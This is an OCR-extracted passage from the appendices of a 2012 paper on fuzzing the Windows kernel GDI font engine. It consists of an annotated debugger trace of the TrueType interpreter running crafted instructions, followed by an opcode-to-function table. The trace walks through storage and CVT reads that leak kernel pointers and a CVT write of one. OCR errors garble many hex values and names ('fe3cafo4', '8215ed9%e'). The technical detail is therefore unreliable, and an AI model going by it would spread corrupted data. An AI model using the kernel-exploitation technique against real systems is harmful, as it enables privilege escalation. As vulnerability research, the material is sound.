Itrp_RS 01 80 26 30009 Read [storage+2*4] and save in
‘stackbase+4’
Itrp_ WS 01 80 26 30009 Index="Stackbase+0’ = 01
Read ‘stackbase+4’ and save into
[storage+1*4]=80
Check: kd>dd fe3c4f98+4 |1
kd>dd fe3c4f14+4 11
Itrp_ PUSHB1 02 80 26 30009
Itrp_ PUSHB1 02 03 26 30009
Itrp_RS 02 01 26 30009 Read [storage+3*4] and save in
‘stackbase+4’
Itrp_WS 02 01 26 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[storage]=26
[storage+4]=80
[storage+8]=01
[storage+c]=01
Itrp_ PUSHB1 03 01 26 30009
itrp_ PUSHB1 03 00 26 30009
Itrp_RS 03 26 26 30009
Itrp_ RCVT 03 fe3cafo4 26 30009 Actually read the data from
pfnt_GlobalGraphicState Type+25*4
=fe3c4f94
Itrp_ WS 03 fe3cafo4 26 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=26
[storage+4]=80
[storage+8]=01
[storage+c]=fe3c4f94 (store)
Itrp_ PUSHW1 ffff ffb5 fe3c 26 30009 Push ‘ffb5’ into stackbase
4194
Itrp_JMPR Ffff ffb5 Fe3c 26 30009 Jump without condition
494
Itrp_PUSHB1 01 Fe3c 26 30009
494
Itrp_RS 80 Fe3c4f9 26 30009 Read [storage+4]=80
4
Itrp_ PUSHB1 80 00 26 30009
Itrp LT 00 00 26 30009
Itrp_ NOT 01 00 26 30009
Itrp_ PUSHB1 01 18 26 30009
Itrp_ SWAP 18 01 26 30009
Itrp_JROT 1. ‘stackbase+4’ not equal
Zero, jump success
2. New pointer=0x18+current
addr -1=00b9bb58
Itrp_ PUSHB1 00 01 26 30009
Itrp_RS 26 01 26 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=26 (read)
[storage+4]=80
[storage+8]=01
[storage+c]=fe3c4f94
Itrp_ PUSHB1 26 01 26 30009
Itrp_ ADD 27 01 26 30009
Itrp_ DUP 27 27 26 30009
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Itrp_ PUSHB1 27 27 00 30009
Itrp_SWAP 27 00 27 30009
Itrp_ WS Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=27 (store)
[storage+4]=80
[storage+8]=01
[storage+c]=fe3c4f94
Itrp PUSHB1 27 50 27 30009
Itrp_ SUB ffff ffd7 50 27 30009
itrp_NOT 00 50 27 30009
Itrp PUSHB1 00 31 27 30009
Itrp SWAP 31 00 27 30009
Itrp JROT 31 00 27 30009 Failed jump
Itrp PUSHB1 01 00 27 30009
Itrp_ PUSHB1 01 02 27 30009
Itrp_RS 01 01 27 30009 | Storage=[fe3c4f98+4]=fe3cafl4
[Storage]=27
[storage+4]=80
[storage+8]=01 (read)
[storage+c]=fe3c4f94
Itrp_ WS 01 01 27 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=27
[storage+4]=01 (store)
[storage+8]=01
[storage+c]=fe3c4f94
ltrp_PUSHB1 02 01 27 30009
Itrp_ PUSHB1 02 03 27 30009
Itrp_ RS 02 fe3cafo4 27 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=27
[storage+4]=01
[storage+8]=01
[storage+c]=fe3c4f94 (read)
Itrp_WS 02 Fe3c4f9 27 30009 | Storage=[fe3c4f98+4]=fe3c4fl4
4 [Storage]=27
[storage+4]=01
[storage+8]=fe3c4f94 (store)
[storage+c]=fe3c4f94
Itrp_PUSHB1 03 Fe3c4f9 27 30009
4
Itrp_ PUSHB1 03 00 27 30009
Itrp_ RS 03 27 27 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=27 (read)
[storage+4]=01
[storage+8]=fe3c4fo4
[storage+c]=fe3c4f94
Itrp_RCVT 03 Fe3c4f9 27 30009 | Actually read the data from
4 pfnt_GlobalGraphicStateType(fe3c4
f98)+26*4=fe3c4f94
Itrp_WS 03 Fe3c4f9 27 30009
4
Itrp_ PUSHW1 | Ffff ffb5 | Fe3c4f9 27 30009
4
Itrp_JMPR Ffff ffb5 | Fe3c4f9 27 30009
4
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Itrp_ PUSHB1 01 Fe3c4f9 27 30009
4
Itrp_ RS 01 Fe3c 27 30009 Storage=[fe3c4f98+4]=fe3c4fl4
4194 [Storage]=27
[storage+4]=01
[storage+8]=fe3c4fo4
[storage+c]=fe3c4f94
Itrp PUSHB1 01 00 27 30009
Itrp LT 00 00 27 30009
Itrp NOT 01 00 27 30009
Itrp PUSHB1 01 18 27 30009
Itrp_ SWAP 18 01 27 30009
Itrp_JROT 18 01 27 30009 1. ‘stackbase+4’ not equal
Zero, jump success
2. New pointer=0x18+current
addr -1=00b9bb58
Itrp_ PUSHB1 00 01 27 30009
Itrp_RS 27 01 27 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=27 (read)
[storage+4]=01
[storage+8]=fe3c4fo4
[storage+c]=fe3c4f94
Itrp_ PUSHB1 27 01 27 30009
Itrp_ADD 28 01 27 30009
Itrp_DUP 28 28 27 30009
Itrp_ PUSHB1 28 28 00 30009
Itrp_ SWAP 28 00 28 30009
Itrp_ WS 28 00 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=28 (store)
[storage+4]=01
[storage+8]=fe3c4fo4
[storage+c]=fe3c4f94
Itrp_ PUSHB1 28 50 28 30009
Itrp_SUB Ffff ffd8 50 28 30009
Itrp_ NOT 00 50 28 30009
Itrp_ PUSHB1 00 31 28 30009
Itrp_ SWAP 31 00 28 30009
Itrp_JROT 31 00 28 30009 Failed to jump
Itrp_ PUSHB1 01 00 28 30009
Itrp_ PUSHB1 01 02 28 30009
Itrp_RS 01 fe3c4fo4 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=28
[storage+4]=01
[storage+8]=fe3c4fo4
[storage+c]=fe3c4f94
Itrp_ WS 01 Fe3c4f9 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
4 Read ‘stackbase+4’ and save in
[storage+01*4]
Itrp_PUSHB1 02 Fe3c4f9 28 30009
4
Itrp_PUSHB1 02 03 28 30009
Itrp_RS 02 fe3cafo4 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4

[Storage]=28
[storage+4]=fe3c4f94
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[storage+8]=fe3c4fo4
[storage+c]=fe3c4f94

Itrp_ WS 02 Fe3c4f9 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
4 Read ‘stackbase+4’ and save in
[storage+02*4]
[Storage]=28
[storage+4]=fe3c4fo4
[storage+8]=fe3c4f94 (store)
[storage+c]=fe3c4f94
Itrp_PUSHB1 03 Fe3c4f9 28 30009
4
Itrp_ PUSHB1 03 00 28 30009
Itrp_RS 03 28 28 30009
Itrp_ RCVT 03 00 28 30009 Actually read the data from
pfnt_GlobalGraphicStateType(fe3c4
f98)+27*4=00
Itrp_ WS 03 00 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
Read ‘stackbase+4’ and save in
[storage+03*4]=00
ltrp_ PUSHW1 | Fiff ffb5 00 28 30009
Itrp_JMPR Ffff ffbs 00 28 30009
Itrp_ PUSHB1 Ffff ffbs 00 28 30009
Itrp_RS Fe3c4fo4 00 28 30009
Itrp_ PUSHB1 | Fe3c4f94 00 28 30009
ltrp LT 01 00 28 30009
Itrp_NOT 00 00 28 30009
Itrp_ PUSHB1 00 18 28 30009
Itrp_ SWAP 18 00 28 30009
Itrp JROT 18 00 28 30009 Failed to jump
Itrp_ PUSHB1 01 00 28 30009
Itrp RS Fe3c4fo4 00 28 30009
Itrp PUSHB1 | Fe3c4f94 02 28 30009
Itrp_RS Fe3c4f94 | Fe3c4f9 28 30009
4
Itrp_SUB 00 Fe3c4f9 28 30009
4
Itrp PUSHB1 00 od 28 30009
Itrp SWAP od 00 28 30009
Itrp JROT od 00 28 30009 Failed to jump
Itrp_ PUSHB1 01 00 28 30009
Itrp_RS Fe3c4f94 00 28 30009 Storage=[fe3c4f98+4]=fe3c4f1l4
[Storage]=28
[storage+4]=fe3c4fo4
[storage+8]=fe3c4fo4
[storage+c]=00
Itrp_ PUSHB1 | Fe3c4f94 03 28 30009
Itrp_RS Fe3c4f94 00 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=28
[storage+4]=fe3c4fo4
[storage+8]=fe3c4fo4
[storage+c]=0
Itrp_ SUB Fe3c4fo4 00 28 30009
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Itrp_NOT 00 00 28 30009
Itrp_ PUSHB1 00 2b 28 30009
Itrp_SWAP 2b 00 28 30009
Itrp JROT 2b 00 28 30009 Failed to jump
Itrp_ PUSHB1 00 00 28 30009
Itrp_RS 28 00 28 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=28
[storage+4]=fe3c4fo4
[storage+8]=fe3c4fo4
[storage+c]=0
Itrp PUSHB1 28 01 28 30009
Itrp_ ADD 29 01 28 30009
Itrp_ DUP 29 29 28 30009
Itrp PUSHB1 29 29 00 30009
Itrp SWAP 29 00 29 30009
Itrp_ WS 29 00 29 30009
Itrp PUSHB1 29 50 29 30009
Itrp_ SUB Ffff ffid9 50 29 30009
Itrp NOT 00 50 29 30009
Itrp PUSHB1 00 31 29 30009
Itrp SWAP 31 00 29 30009
Itrp JROT 31 00 29 30009 Failed to jump
Itrp PUSHB1 01 00 29 30009
Itrp PUSHB1 01 02 29 30009
Itrp_RS 01 Fe3c4f9 29 30009
4
Itrp_ WS 01 Fe3c4f9 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4
4 [Storage]=29 (store)
[storage+4]=fe3c4fo4
[storage+8]=fe3c4fo4
[storage+c]=0
Itrp_PUSHB1 02 Fe3c4f9 29 30009
4
Itrp_ PUSHB1 02 03 29 30009
Itrp_RS 02 00 29 30009
Itrp_ WS 02 00 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=29
[storage+4]=fe3c4fo4
[storage+8]=0 (store)
[storage+c]=0
Itrp PUSHB1 03 00 29 30009
Itrp PUSHB1 03 00 29 30009
Itrp_RS 03 29 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=29 (read)
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp_ RCVT 03 00 29 30009 Actually read the data from
pfnt_GlobalGraphicStateType(fe3c4
f98)+28*4=00
Itrp_ WS 03 00 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4

[Storage]=29
[storage+4]=fe3c4fo4
[storage+8]=0
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[storage+c]=0

ltrp_ PUSHW1 | Fiff ffb5 00 29 30009
Itrp_JMPR Ffff ffbs 00 29 30009
ltrp_PUSHB1 01 00 29 30009
Itrp_RS Fe3c4fo4 00 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=29
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp PUSHB1 | Fe3c4f94 00 29 30009
Itrp LT 01 00 29 30009
ltrp_NOT 00 00 29 30009
Itrp PUSHB1 00 18 29 30009
Itrp SWAP 18 00 29 30009
Itrp JROT 18 00 29 30009 Failed to jump
Itrp PUSHB1 01 00 29 30009
Itrp_RS Fe3c4fo4 00 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=29
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp_ PUSHB1 | Fe3c4f94 02 29 30009
Itrp_RS Fe3c4f94 00 29 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=29
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp_SUB Fe3c4f94 00 29 30009
Itrp_ PUSHB1 | Fe3c4f94 od 29 30009
Itrp_ SWAP od Fe3c4f9 29 30009 1. ‘stackbase+4’ not equal
4 zero, jump success
2. New pointer=0x0d+current
addr -1=00b9bb58
ltrp_JROT od Fe3c4f9 29 30009
4
Itrp_PUSHB1 00 Fe3c4f9 29 30009
4
Itrp_RS 29 Fe3c4f9 29 30009 | Storage=[fe3c4f98+4]=fe3cafl4
4 [Storage]=29
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp_ PUSHB1 29 01 29 30009
Itrp_ ADD 2a 01 29 30009
Itrp_DUP 2a 2a 29 30009
Itrp_ PUSHB1 2a 2a 00 30009
Itrp_ SWAP 2a 00 2a 30009
Itrp_ WS 2a 00 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2a (store)
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp PUSHB1 2a 50 2a 30009
Itrp_ SUB Ffff fida 50 2a 30009
ltrp_NOT 00 50 2a 30009
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Itrp_ PUSHB1 00 31 2a 30009
Itrp_SWAP 31 00 2a 30009
Itrp JROT 31 00 2a 30009 Failed to jump
Itrp_ PUSHB1 01 00 2a 30009
Itrp_ PUSHB1 01 02 2a 30009
Itrp_RS 01 00 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2a
[storage+4]=fe3c4fo4
[storage+8]=0
[storage+c]=0
Itrp_ WS 01 00 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2a
[storage+4]=0 (store)
[storage+8]=0
[storage+c]=0
Itrp_PUSHB1 02 00 2a 30009
Itrp_PUSHB1 02 03 2a 30009
Itrp_RS 02 00 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2a
[storage+4]=0
[storage+8]=0
[storage+c]=0
Itrp_WS 02 00 2a 30009 Storage=[fe3c4f98+4]=fe3c4f1l4
[Storage]=2a
[storage+4]=0
[storage+8]=0
[storage+c]=0
Itrp_PUSHB1 03 00 2a 30009
Itrp_PUSHB1 03 00 2a 30009
Itrp_RS 03 2a 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2a
[storage+4]=0
[storage+8]=0
[storage+c]=0
Itrp_ RCVT 03 8215ed 2a 30009 Actually read the data from
9e pfnt_GlobalGraphicStateType(fe3c4
f98)+29*4=00
Itrp_ WS 03 8215ed 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2a
[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e (store)
Itrp_ PUSHW1 | Ffff ffb5 8215ed 2a 30009
9e
Itrp_JMPR
Itrp_ PUSHB1 01 8215ed 2a 30009
9e
Itrp_RS 00 8215ed 2a 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2a
[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e
Itrp_PUSHB1 00 00 2a 30009
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Itrp_LT 00 00 2a 30009

Itrp_NOT 01 00 2a 30009

Itrp_PUSHB1 01 18 2a 30009

Itrp_ SWAP 18 01 2a 30009

Itrp_JROT 1. ‘stackbase+4’ not equal

zero, jump success
2. New pointer=0x18+current
addr -1=00b9bb58

Itrp_ PUSHB1 00 01 2a 30009

Itrp_RS 2a 01 2a 30009 Storage=[fe3c4f98+4]=fe3c4f14
[Storage]=2a (read)
[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e

Itrp_ PUSHB1 2a 01 2a 30009

ltrp_ADD 2b 01 2a 30009

Itrp_DUP 2b 2b 2a 30009

Itrp_PUSHB1 2b 2b 00 30009

Itrp_ SWAP 2b 00 2b 30009

Itrp_ WS 2b 00 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2b (store)
[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e

Itrp_PUSHB1 2b 50 2b 30009

Itrp_SUB Ffff ffdb 50 2b 30009

Itrp_NOT 00 50 2b 30009

Itrp_PUSHB1 00 31 2b 30009

Itrp_SWAP 31 00 2b 30009

Itrp_JROT 31 00 2b 30009 Failed to jump

Itrp_PUSHB1 01 00 2b 30009

Itrp_PUSHB1 01 02 2b 30009

Itrp_RS 01 00 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2b (store)
[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e

Itrp_ WS 01 00 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2b
[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e

Itrp_PUSHB1 02 00 2b 30009

Itrp_PUSHB1 02 03 2b 30009

Itrp_RS 02 8215ed 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4

9e [Storage]=2b

[storage+4]=0
[storage+8]=0
[storage+c]=8215ed9e (read)

Itrp_ WS Storage=[fe3c4f98+4]=fe3c4fl4

[Storage]=2b
[storage+4]=0
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[storage+8]=8215ed9e (store)
[storage+c]=8215ed9e

Itrp_PUSHB1 03 8215ed 2b 30009
9e
Itrp_PUSHB1 03 00 2B 30009
Itrp_RS 03 2b 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2b (read)
[storage+4]=0
[storage+8]=8215ed9e
[storage+c]=8215ed9e
Itrp_RCVT 03 8215ed 2b 30009 | Actually read the data from
9e pfnt_GlobalGraphicStateType(fe3c4
f98)+2a*4=8215ed9%e
Itrp_WS 03 8215ed 2b 30009 | Storage=[fe3c4f98+4]=fe3cafl4
9e [Storage]=2b
[storage+4]=0
[storage+8]=8215ed9e
[storage+c]=8215ed9e
Itrp_PUSHW1 | Ffff ffb5 8215ed 2b 30009
9e
Itrp_JMPR Ffff ffb5 8215 2b 30009
ed%e
Itrp_PUSHB1 01 8215 2b 30009
ed%e
Itrp_RS 00 8215 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4
ed9%e [Storage]=2b
[storage+4]=0 (read)
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_PUSHB1 00 00 2b 30009
Itrp_LT 00 00 2b 30009
Itrp_NOT 01 00 2b 30009
Itrp_PUSHB1 01 18 2b 30009
Itrp_ SWAP 18 01 2b 30009
Itrp_JROT 18 01 2b 30009 1. ‘stackbase+4’ not equal
Zero, jump success
2. New pointer=0x18+current
addr -1=00b9bb58
Itrp_PUSHB1 00 01 2b 30009
Itrp_RS 2b 01 2b 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2b (read)
[storage+4]=0
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_PUSHB1 2b 01 2b 30009
Itrp_ADD 2c 01 2b 30009
Itrp_DUP 2c 2c 2b 30009
Itrp_PUSHB1 2c 2c 00 30009
Itrp_SWAP 2c 00 2c 30009
Itrp_ WS 2c 00 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4

[Storage]=2c (store)
[storage+4]=0
[storage+8]=8215ed9%e
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[storage+c]=8215ed9e

Itrp_PUSHB1 2c 50 2c 30009
Itrp_SUB Ffff fidc 50 2c 30009
Itrp_ NOT 00 50 2c 30009
Itrp_PUSHB1 00 31 2c 30009
Itrp_SWAP 31 00 2c 30009
Itrp_JROT Failed to jump
Itrp_ PUSHB1 01 00 2c 30009
Itrp_PUSHB1 01 02 2c 30009
Itrp_RS 01 8215ed 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2c
[storage+4]=0
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_ WS 01 8215ed 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2c
[storage+4]=8215ed9e (store)
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_ PUSHB1 02 8215ed 2c 30009
9e
Itrp_PUSHB1 02 03 2c 30009
Itrp_RS 02 8215ed 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2c
[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_ WS 02 8215ed 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2c
[storage+4]=8215ed9e
[storage+8]=8215ed9e
[storage+c]=8215ed9e
Itrp_PUSHB1 03 8215ed 2c 30009
9e
Itrp_PUSHB1 03 00 2c 30009
Itrp_RS 03 2c 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2c (read)
[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_ RCVT 03 8215ed 2c 30009 Actually read the data from
9e pfnt_GlobalGraphicStateType(fe3c4
f98)+2b*4=8215ed9%e
Itrp_ WS Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2c (read)
[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_PUSHW1 | Ffff ffb5 8215ed 2c 30009
9e
Itrp_JMPR
Itrp_PUSHB1 01 8215ed 2c 30009
9e
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Itrp_RS 8215ed9e | 8215ed 2c 30009 Storage=[fe3c4f98+4]=fe3c4f14
9e [Storage]=2c
[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
ltrp_PUSHB1 | 8215ed9%e 00 2c 30009
ltrp_LT 01 00 2c 30009
Itrp_NOT 00 00 2c 30009
Itrp_PUSHB1 00 18 2c 30009
Itrp_ SWAP 18 00 2c 30009
Itrp_JROT Failed to jump
Itrp_PUSHB1 01 00 2c 30009
Itrp_RS 8215ed9%e 00 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2c
[storage+4]=8215ed9e
[storage+8]=8215ed9e
[storage+c]=8215ed9e
Itrp_PUSHB1 | 8215ed9e 02 2c 30009
Itrp_RS 8215ed9e | 8215ed 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
9e [Storage]=2c
[storage+4]=8215ed9e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_SUB 00 8215ed 2c 30009
9e
Itrp_PUSHB1 00 od 2c 30009
Itrp_SWAP od 00 2c 30009
Itrp_JROT Failed to jump
Itrp_ PUSHB1 01 00 2c 30009
Itrp_RS 8215ed9e 00 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2c
[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
Itrp_PUSHB1 | 8215ed9e 03 2c 30009
Itrp_RS 8215ed9%e | 8215ed 2c 30009
9e
Itrp_SUB 0 8215ed 2C 30009
9e
Itrp_NOT 01 8215ed 2c 30009
9e
Itrp_PUSHB1 01 2b 2c 30009
Itrp_ SWAP 2b 01 2c 30009
Itrp_JROT 1. ‘stackbase+4’ not equal
Zero, jump success
2. New pointer=0x2b+current
addr -1=00b9bb82
Itrp_ PUSHB1 00 01 2c 30009
Itrp_ RS 2c 01 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4

[Storage]=2c (read)

[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
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Itrp_PUSHB1 2c 03 2c 30009
Itrp_ADD 2f 03 2c 30009
Itrp_ RCVT fe3c532c 03 2c 30009 Actually read the data from
pfnt_GlobalGraphicStateType(fe3c4
f98)+2e*4=fe3c532c
Note: address fe3c532c pointed to
FPGMDirectory -> DataFPGM
Itrp_PUSHB1 | fe3c532c 50 2c 30009
Itrp_ADD fe3ch37c 50 2c 30009
Itrp_PUSHB1 | fe3c537c 00 2c 30009
Itrp_ RS fe3ch37c 2c 2c 30009 Storage=[fe3c4f98+4]=fe3c4fl4
[Storage]=2c (read)
[storage+4]=8215ed9%e
[storage+8]=8215ed9%e
[storage+c]=8215ed9e
ltrp_SWAP 2c fe3c537 2c 30009
C
Itrp_ WCVT 2c Fe3ch3 2c 30009 address points to
7c FPGMDirectoryEntry->DataFPGM
(fe3ch37c) save in
pfnt_GlobalGraphicState Type(fe3c4
f98)+2c*4 =fe3c5048
Itrp_PUSHB1 01 Fe3c53 2c 30009
7c
ltrp_LSW

GDI Font Fuzzing In Windows Kernel for Fun v1.0 2012/03




36

Appendix 2:

;Function[xx] = TrueType Instructions
;xX is opcode from 0x00 until OXBF

function[0x00] = itrp_SVTCA_O;
function[Ox01] = itrp_SVTCA_1;
function[0x02] = itrp_SPVTCA_0;
function[0x03] = itrp_SPVTCA 1,
function[0x04] = itrp_SFVTCA_0;
function[Ox05] = itrp_ SFVTCA _1;
function[Ox06] = itrp_SPVTL;
function[0x07] = itrp_SPVTL;
function[Ox08] = itrp_SFVTL;
function[Ox09] = itrp_SFVTL;
function[Ox0A] = itrp_WPV;
function[Ox0B] = itrp_WFV;
function[Ox0C] = itrp_RPV;
function[Ox0D] = itrp_RFV;
function[Ox0E] = itrp_SFVTPV;
function[Ox0F] = itrp_ISECT;
function[0x10] = itrp_SRPO;
function[Ox11] = itrp_SRP1;
function[0x12] = itrp_SRP?2;
function[0x13] = itrp_SetElementPtr;
function[Ox14] = itrp_SetElementPtr;
function[0x15] = itrp_SetElementPtr;
function[0x16] = itrp_SetElementPtr;
function[0x17] = itrp_LLOOP;
function[0x18] = itrp_RTG;
function[0x19] = itrp_RTHG;
function[Ox1A] = itrp_LMD;
function[Ox1B] = itrp_ELSE;
function[Ox1C] = itrp_JMPR,;
function[Ox1D] = itrp_LWTCI;
function[Ox1E] = itrp_LSWCI;
function[Ox1F] = itrp_LSW;
function[0x20] = itrp_DUP;
function[Ox21] = itrp_POP;
function[0x22] = itrp_CLEAR,;
function[0x23] = itrp_SWAP;
function[0x24] = itrp_DEPTH;
function[0x25] = itrp_CINDEX;
function[0x26] = itrp_MINDEX;
function[0x27] = itrp_ ALIGNPTS;
function[0x28] = itrp_ RAW;
function[0x29] = itrp_UTP;
function[Ox2A] = itrp_LOOPCALL;
function[Ox2B] = itrp_CALL;
function[Ox2C] = itrp_FDEF;
function[0x2D] = itrp_lllegallnstruction;
function[Ox2E] = itrp_MDAP;
function[Ox2F] = itrp_ MDAP;
function[0x30] = itrp_IUP;
function[0x31] = itrp_IUP;

GDI Font Fuzzing In Windows Kernel for Fun v1.0 2012/03



37

function[0x32] = itrp_SHP;
function[0x33] = itrp_SHP;
function[0x34] = itrp_SHC;
function[0x35] = itrp_SHC;
function[0x36] = itrp_SHE;
function[0x37] = itrp_SHE;
function[0x38] = itrp_SHPIX;
function[0x39] = itrp_IP;
function[Ox3A] = itrp_MSIRP;
function[0x3B] = itrp_MSIRP;
function[Ox3C] = itrp_ ALIGNRP;
function[0x3D] = itrp_RTDG;
function[Ox3E] = itrp_MIAP;
function[Ox3F] = itrp_MIAP;
function[0x40] = itrp_NPUSHB;
function[0x41] = itrp_ NPUSHW;
function[0x42] = itrp_WS;
function[0x43] = itrp_RS;
function[0x44] = itrp_WCVT;
function[0x45] = itrp_ RCVT;
function[0x46] = itrp_RC;
function[0x47] = itrp_RC;
function[0x48] = itrp_WC,;
function[0x49] = itrp_MD;
function[Ox4A] = itrp_MD;
function[0x4B] = itrp_MPPEM;
function[0x4C] = itrp_MPS;
function[0x4D] = itrp_FLIPON;
function[Ox4E] = itrp_FLIPOFF;
function[Ox4F] = itrp_DEBUG;
function[Ox50] = itrp_LT;
function[Ox51] = itrp_LTEQ;
function[0x52] = itrp_GT;
function[0x53] = itrp_ GTEQ);
function[0x54] = itrp_EQ;
function[0x55] = itrp_NEQ;
function[0x56] = itrp_ODD;
function[Ox57] = itrp_EVEN;
function[Ox58] = itrp_IF;
function[0x59] = itrp_EIF;
function[Ox5A] = itrp_AND;
function[0x5B] = itrp_OR;
function[Ox5C] = itrp_NOT;
function[Ox5D] = itrp_ DELTAP1,;
function[Ox5E] = itrp_SDB;
function[Ox5F] = itrp_SDS;
function[0x60] = itrp_ADD;
function[Ox61] = itrp_SUB;
function[0x62] = itrp_DIV;
function[Ox63] = itrp_MUL,;
function[0x64] = itrp_ABS;
function[0x65] = itrp_NEG;
function[0x66] = itrp_FLOOR,;
function[0x67] = itrp_CEILING;
function[0x68] = itrp_ ROUND;
function[0x69] = itrp_ ROUND;
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function[Ox6A] = itrp_ ROUND;
function[Ox6B] = itrp_ ROUND;
function[Ox6C] = itrp_NROUND;
function[Ox6D] = itrp_ NROUND;
function[Ox6E] = itrp_ NROUND;
function[Ox6F] = itrp_ NROUND;
function[0x70] = itrp_ WCVTFOD;
function[Ox71] = itrp_DELTAP2;
function[0x72] = itrp_ DELTAP3;
function[Ox73] = itrp_ DELTAC1;
function[0x74] = itrp_ DELTACZ2;
function[Ox75] = itrp_ DELTACS3;
function[0x76] = itrp_ SROUND;
function[0x77] = itrp_S45ROUND;
function[0x78] = itrp_JROT;
function[0x79] = itrp_JROF,;
function[Ox7A] = itrp_ROFF;

function[Ox7B] = itrp_lllegallnstruction;

function[0x7C] = itrp_RUTG;
function[0x7D] = itrp_RDTG;
function[Ox7E] = itrp_SANGW,;
function[Ox7F] = itrp_AA;
function[0x80] = itrp_FLIPPT;
function[0x81] = itrp_FLIPRGON;
function[0x82] = itrp_FLIPRGOFF;
function[0x83] = itrp_IDefPatch;
function[0x84] = itrp_IDefPatch;
function[0x85] = itrp_ SCANCTRL;
function[0x86] = itrp_SDPVTL,;
function[0x87] = itrp_SDPVTL;
function[0x88] = itrp_GETINFO;
function[0x89] = itrp_IDEF;
function[Ox8A] = itrp_ ROTATE;
function[0x8B] = itrp_MAX;
function[Ox8C] = itrp_MIN;
function[0x8D] = itrp_ SCANTYPE;
function[Ox8E] = itrp_INSTCTRL;
function[OxBO] = itrp_ PUSHB1,
function[OxB1] = itrp_PUSHB;
function[0xB2] = itrp_ PUSHB;
function[0xB3] = itrp_PUSHB;
function[0xB4] = itrp_PUSHB,;
function[OxB5] = itrp_ PUSHB;
function[0xB6] = itrp_ PUSHB;
function[OxB7] = itrp_ PUSHB;
function[OxB8] = itrp_ PUSHW1,
function[0xB9] = itrp_ PUSHW;
function[OxBA] = itrp_ PUSHW;
function[OxBB] = itrp_ PUSHW;
function[OxBC] = itrp_ PUSHW;
function[OxBD] = itrp_PUSHW;
function[OxBE] = itrp_ PUSHW;
function[OxBF] = itrp_ PUSHW;
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